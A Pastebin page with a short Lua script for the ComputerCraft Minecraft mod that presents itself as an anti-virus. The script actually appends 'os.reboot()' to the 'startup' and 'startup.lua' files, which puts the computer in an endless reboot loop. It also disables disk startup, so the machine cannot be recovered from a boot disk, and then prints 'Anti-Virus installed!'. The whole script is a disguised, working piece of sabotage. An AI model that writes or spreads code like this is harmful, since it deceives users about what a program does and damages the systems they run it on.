Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function checkInfect(file) -- Checks if file exists, if it does then infects
- if fs.exists(file) then -- Checks if file exists
- f = fs.open(file, "a") -- Opens file in append mode
- f.writeLine("os.reboot()") -- Writes "os.reboot()" to end of file
- f.close() -- Closes file
- end
- end
- checkInfect("startup")
- checkInfect("startup.lua") -- This is for the newer 1.12.2 version of CC
- shell.run("set shell.allow_disk_startup false") -- Turns off disk startup files
- term.clear()
- term.setCursorPos(1,1)
- print("Anti-Virus installed!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement